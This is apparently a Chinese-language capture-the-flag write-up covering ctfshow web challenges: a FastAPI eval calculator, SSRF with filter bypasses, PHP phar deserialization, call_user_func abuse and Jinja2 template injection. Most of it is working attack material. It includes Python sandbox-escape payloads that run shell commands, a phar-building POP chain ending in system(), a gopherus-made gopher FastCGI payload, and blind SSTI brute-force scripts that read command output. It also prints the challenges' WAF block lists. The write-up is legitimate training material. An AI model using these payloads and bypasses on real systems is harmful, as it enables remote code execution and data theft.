FastAPI 是一个高性能 Web 框架,用于构建 API。
主要特性:
快速:非常高的性能,与 NodeJS 和 Go 相当
快速编码:将功能开发速度提高约 200% 至 300%
更少的错误:减少约 40% 的人为错误
直观:强大的编辑器支持,自动补全无处不在,调试时间更少
简易:旨在易于使用和学习,减少阅读文档的时间。
简短:减少代码重复。
稳健:获取可用于生产环境的代码,具有自动交互式文档
基于标准:基于并完全兼容 API 的开放标准 OpenAPI 和 JSON Schema
Fastapi的交互式接口文档,访问docs和redoc
访问/cccalccc
,可以post提交q参数
经过尝试,需要直接输入参数才能解析
q=().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('/etc/passwd').read() {"res":"hack out!","err":false}
这里看出是python3的环境,而且还有waf需要绕过
找出被waf的关键词
popen
这里绕过一下
q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('env').read()
在env和.和/下面均没有发现flag,先尝试读取源码
q=[].__class__.__base__.__subclasses__()[189].__init__.__globals__['__builtins__']['__imp'+'ort__']('os').__dict__['pop'+'en']('cat main.py').read()
{"res":"from typing import Optional\nfrom fastapi import FastAPI,Form\nimport uvicorn\n\napp = FastAPI()\n\[email protected](\"/\")\ndef hello():\n return {\"hello\": \"fastapi\"}\n\[email protected](\"/cccalccc\",description=\"安全的计算器\")\ndef calc(q: Optional[str] = Form(...)):\n try:\n hint = \"flag is in /mnt/f1a9,try to read it\"\n block_list = ['import','open','eval','exec']\n for keyword in block_list:\n if keyword in q:\n return {\"res\": \"hack out!\", \"err\": False}\n return {\"res\": eval(q), \"err\": False}\n except:\n return {\"res\": \"\", \"err\": True}\n\nif __name__ == '__main__':\n uvicorn.run(app=app, host=\"0.0.0.0\", port=8000, workers=1)\n","err":false}
hint = “flag is in /mnt/f1a9,try to read it”\n
读取拿到flag
上传图片
GIF89a
<?php phpinfo();?>
------WebKitFormBoundaryQ93uD6QeIDyFS1HM
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryQ93uD6QeIDyFS1HM--
文件存储在: upload/scr.gif
查看upload/scr.gif,返回为
GIF89a
26
猜测通过输入伪协议的url来查看后端的源码,然后通过上传文件和查看文件来读取flag
尝试读取源码
/etc/passwd 没有回显
file:///etc/passwd 没有回显
php://filter/convert.BaSe64-eNcoDe/resource=/etc/passwd 被waf
fifilele:///etc/passwd 没有回显
fifile://le:///etc/passwd 回显成功,这里看来是双写绕过
这里猜测绝对路径进行读取
fifile://le:///var/www/html/index.php
error_reporting(0);
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-19 20:09:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 21:31:48
# @email: [email protected]
# @link: https://ctfer.com
*/
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}
if(isset($_GET['url'])){
$url = $_GET['url'];
$bad = 'file://';
if(preg_match('/dict|127|localhost|sftp|Gopherus|http|\.\.\/|flag|[0-9]/is', $url,$match))
{
die('难道我不知道你在想什么?除非绕过我?!');
}else{
$url=str_replace($bad,"",$url);
curl($url);
}
}
?>
fifile://le:///var/www/html/upload.php
error_reporting(0);
if(isset($_FILES["file"])){
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
if (file_exists("upload/" . $_FILES["file"]["name"])){
echo $_FILES["file"]["name"] . " 文件已经存在啦!";
}else{
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" .$_FILES["file"]["name"]);
echo "文件存储在: " . "upload/" . $_FILES["file"]["name"];
}
}else{
echo "这个文件我不喜欢,我喜欢一个gif的文件";
}
}
?>
fifile://le:///var/www/html/readfile.php
error_reporting(0);
include('class.php');
function check($filename){
if (preg_match("/^phar|^smtp|^dict|^zip|file|etc|root|filter|\.\.\//i",$filename)){
die("姿势太简单啦,来一点骚的?!");
}else{
return 0;
}
}
if(isset($_GET['filename'])){
$file=$_GET['filename'];
if(strstr($file, "flag") || check($file) || strstr($file, "php")) {
die("这么简单的获得不可能吧?!");
}
echo readfile($file);
}
?>
fifile://le:///var/www/html/unlink.php
error_reporting(0);
$file=$_GET['filename'];
function check($file){
if (preg_match("/\.\.\//i",$file)){
die("你想干什么?!");
}else{
return $file;
}
}
if(file_exists("upload/".$file)){
if(unlink("upload/".check($file))){
echo "删除".$file."成功!";
}else{
echo "删除".$file."失败!";
}
}else{
echo '要删除的文件不存在!';
}
?>
fifile://le:///var/www/html/class.php
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
public function __destruct()
{
echo "THI IS CTFSHOW".$this->a;
}
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
?>
因为有readfile函数,我们可以配合phar来触发反序列化
error_reporting(0);
class A {
public $a;
public function __construct($a)
{
$this->a = $a;
}
// public function __destruct()
// {
// echo "THI IS CTFSHOW".$this->a;
// }
}
class B {
public $b;
public function __construct($b)
{
$this->b = $b;
}
public function __toString()
{
return ($this->b)();
}
}
class C{
public $c;
public function __construct($c)
{
$this->c = $c;
}
public function __invoke()
{
return eval($this->c);
}
}
$a=new A('');
$b=new B('');
$c=new C('');
$c->c='system("ls /");';
$b->b=$c;
$a->a=$b;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a".""); //设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
将文件后缀修改为gif,上传,得到路径为upload/phar.gif,这里用绝对路径和相对路径都可以读取到
compress.zlib://phar:///var/www/html/upload/phar.gif
compress.zlib://phar://upload/phar.gif
bin ctfshow_1024_flag.txt dev etc home lib media mnt opt proc root run sbin srv sys tmp usr var
将ls /改为cat /ctfshow_1024_flag.txt即可拿到flag
error_reporting(0);
highlight_file(__FILE__);
call_user_func($_GET['f']);
只有一个传参位置,只能调用无需传参的函数
?f=phpinfo
在phpinfo里面找一找自定义函数。(查找关键词flag,ctfl,function等)
function:ctfshow_1024 support enabled
http://bd3e5731-b0c7-481f-90c0-855f5007206a.challenge.ctf.show/index.php?picurl=aHR0cDovL3AucWxvZ28uY24vZ2gvMzcyNjE5MDM4LzM3MjYxOTAzOC8w
对picurl进行base64解码得到图片的链接 http://p.qlogo.cn/gh/372619038/372619038/0
file:///etc/passwd
ZmlsZTovLy9ldGMvcGFzc3dk
回显成功,盲猜flag的路径/flag发现没有回显,查看指纹是nginx
查看配置文件 file:///etc/nginx/nginx.conf
include /etc/nginx/conf.d/*.conf;
查看自定义的配置文件中的default.conf file:///etc/nginx/conf.d/default.conf
root /var/www/bushihtml;
index index.php index.html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
这里gopherus需要安装py2的pip2
sudo curl -o get-pip.py https://bootstrap.pypa.io/pip/2.7/get-pip.py
sudo python2 get-pip.py
gopherus --exploit fastcgi
/var/www/bushihtml/index.php
ls /
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%09%01%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH56%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%1CSCRIPT_FILENAME/var/www/bushihtml/index.php%0D%01DOCUMENT_ROOT/%00%01%04%00%01%00%00%00%00%01%05%00%01%008%04%00%3C%3Fphp%20system%28%27ls%20/%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
base64编码
Z29waGVyOi8vMTI3LjAuMC4xOjkwMDAvXyUwMSUwMSUwMCUwMSUwMCUwOCUwMCUwMCUwMCUwMSUwMCUwMCUwMCUwMCUwMCUwMCUwMSUwNCUwMCUwMSUwMSUwOSUwMSUwMCUwRiUxMFNFUlZFUl9TT0ZUV0FSRWdvJTIwLyUyMGZjZ2ljbGllbnQlMjAlMEIlMDlSRU1PVEVfQUREUjEyNy4wLjAuMSUwRiUwOFNFUlZFUl9QUk9UT0NPTEhUVFAvMS4xJTBFJTAyQ09OVEVOVF9MRU5HVEg1NiUwRSUwNFJFUVVFU1RfTUVUSE9EUE9TVCUwOUtQSFBfVkFMVUVhbGxvd191cmxfaW5jbHVkZSUyMCUzRCUyME9uJTBBZGlzYWJsZV9mdW5jdGlvbnMlMjAlM0QlMjAlMEFhdXRvX3ByZXBlbmRfZmlsZSUyMCUzRCUyMHBocCUzQS8vaW5wdXQlMEYlMUNTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9idXNoaWh0bWwvaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDA4JTA0JTAwJTNDJTNGcGhwJTIwc3lzdGVtJTI4JTI3bHMlMjAvJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAw
拿到flag
SSTI的绕过方法,参考
https://blog.csdn.net/miuzzx/article/details/110220425
https://www.cnblogs.com/20175211lyz/p/11425368.html
首先进行测试
key={{123}} #Hello,123!
key={123} #Hello,{123}!
{{
和}}
过滤了,这里难度在于判断是哪种模板,以及执行命令需要的绕过方式过滤了的会报
500 Internal Server Error
以jinja2为例
{% ... %} for Statements
{{ ... }} for Expressions to print to the template output
{# ... #} for Comments not included in the template output
# ... # for Line Statements
寻找可以利用的模块
import requests
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
#
# payload = '{%if""["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()!=1%}wdnmd{%endif%}'
# data = {'key':payload}
# r = requests.post(url,data)
# print(r.text)
for i in range(1,200):
payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()['+str(i)+']["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")!=1%}coleak{%endif%}'
# real_payload = '"".__class__.__base__.__subclasses__()[?].__init__.__globals__["__builtins__"]["__import__"]("os")'
data = {'key':payload}
r = requests.post(url,data)
if 'coleak' in r.text:
print(i)
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'ls /'
ans = ''
for i in range(0,80):
for le in abt:
payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
data = {'key':payload}
r = requests.post(url,data)
if 'coleak' in r.text:
ans += le
print('ans = '+ans)
break
import requests
import string
abt = string.ascii_lowercase+string.digits+'-_{}'
url = 'http://294fdcdb-60bd-4f69-8135-c22c1b7bc260.challenge.ctf.show/'
cmd = 'cat /ctf*'
ans = ''
for i in range(0,80):
for le in abt:
payload = '{%if []["\\x5f\\x5fclass\\x5f\\x5f"]["\\x5f\\x5fbase\\x5f\\x5f"]["\\x5f\\x5fsubclasses\\x5f\\x5f"]()[64]["\\x5f\\x5finit\\x5f\\x5f"]["\\x5f\\x5fglobals\\x5f\\x5f"]["\\x5f\\x5fbuiltins\\x5f\\x5f"]["\\x5f\\x5fimport\\x5f\\x5f"]("os")["\\x5f\\x5fdict\\x5f\\x5f"]["popen"]("'+cmd+'")["read"]()['+str(i)+']=="'+le+'"%}coleak{%endif%}'
data = {'key':payload}
r = requests.post(url,data)
if 'coleak' in r.text:
ans += le
print('ans = '+ans)
break